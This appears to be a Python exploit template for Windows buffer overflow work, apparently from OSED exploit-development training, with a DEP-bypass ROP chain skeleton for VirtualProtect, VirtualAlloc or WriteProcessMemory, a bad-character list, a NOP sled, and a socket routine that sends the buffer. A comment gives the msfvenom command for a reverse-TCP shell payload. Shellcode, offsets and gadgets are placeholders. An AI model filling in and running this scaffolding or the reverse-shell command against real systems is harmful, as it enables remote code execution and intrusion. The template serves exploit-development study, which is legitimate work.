#!/usr/bin/python3
import sys
import socket

sys.path.insert(0, '../../osed-scripts')
from utils import RopChain, sanity_check, get_connection


bad_chars = [0, 0xa, 0xd, 0x2b, 0x25, 0x26, 0x3d]


def get_payload() -> bytes:
    # msfvenom -p windows/shell_reverse_tcp lhost=eth0 lport=54321 -b '\x0a\x0d\x2b\x25\x26\x3d\x00' -v shellcode -f python
    shellcode = b''

    return shellcode


def get_rop_chain() -> bytes:
    # BOOL VirtualProtect(
    #   LPVOID lpAddress,
    #   SIZE_T dwSize,
    #   DWORD  flNewProtect,
    #   PDWORD lpflOldProtect
    # );
    #
    # skeleton = RopChain()
    # skeleton += 0x41414141                # VirtualProtect address
    # skeleton += 0x42424242                # shellcode return address to return to after VirtualProtect is called
    # skeleton += 0x43434343                # lpAddress (same as above)
    # skeleton += 0x44444444                # dwSize (size of shellcode, 0x300 or so)
    # skeleton += 0x45454545                # flNewProtect (0x40)
    # skeleton += 0x46464646                # lpflOldProtect (some writable memory address)
    # -------------------------
    # -------------------------
    # LPVOID VirtualAlloc(
    #   LPVOID lpAddress,
    #   SIZE_T dwSize,
    #   DWORD  flAllocationType,
    #   DWORD  flProtect
    # );
    #
    # skeleton  = RopChain()
    # skeleton += 0x41414141                # VirtualAlloc address
    # skeleton += 0x42424242                # shellcode return address to return to after VirtualAlloc is called
    # skeleton += 0x43434343                # lpAddress (shellcode address)
    # skeleton += 0x44444444                # dwSize (0x1)
    # skeleton += 0x45454545                # flAllocationType (0x1000)
    # skeleton += 0x46464646                # flProtect (0x40)
    # -------------------------
    # -------------------------
    # BOOL WriteProcessMemory(
    #   HANDLE  hProcess,
    #   LPVOID  lpBaseAddress,
    #   LPCVOID lpBuffer,
    #   SIZE_T  nSize,
    #   SIZE_T  *lpNumberOfBytesWritten
    # );
    #
    # skeleton  = RopChain()
    # skeleton += 0x41414141                # WriteProcessMemory address
    # skeleton += 0x42424242                # shellcode return address to return to after WriteProcessMemory is called
    # skeleton += 0xffffffff                # hProcess (pseudo Process handle)
    # skeleton += 0x44444444                # lpBaseAddress (Code cave address)
    # skeleton += 0x45454545                # lpBuffer (shellcode address)
    # skeleton += 0x46464646                # nSize (size of shellcode)
    # skeleton += 0x47474747                # lpNumberOfBytesWritten (writable memory address, i.e. !dh -a MODULE)
    # -------------------------
    # -------------------------

    ropnop = 0x0
    offset_to_eip = 0

    rop = RopChain(chain=b'A' * (offset_to_eip - len(skeleton)))
    rop += skeleton.chain

    rop += 0x0
    ############################
    # EAX =>
    # EBX =>
    # ECX =>
    # EDX =>
    # ESI =>
    # EDI =>
    # -------------------------
    # skeleton[0] = 0x41414141
    # skeleton[1] = 0x42424242
    # skeleton[2] = 0x43434343
    # skeleton[3] = 0x44444444
    # skeleton[4] = 0x45454545
    # skeleton[5] = 0x46464646
    ############################

    rop += b'\x90' * 20
    rop += get_payload()

    sanity_check(rop.chain, bad_chars)

    return rop.chain


def send_exploit(sock: socket.socket, buffer: bytes, read_response=False):
    sock.send(buffer)
    print(f'[+] sent {len(buffer)} bytes')

    if read_response:
        resp = sock.recv(4096)
        print('[*] response:')
        print(resp)


def main():
    conn = get_connection('127.0.0.1', 111)  # todo change ip/port
    send_exploit(conn, get_rop_chain())


if __name__ == '__main__':
    main()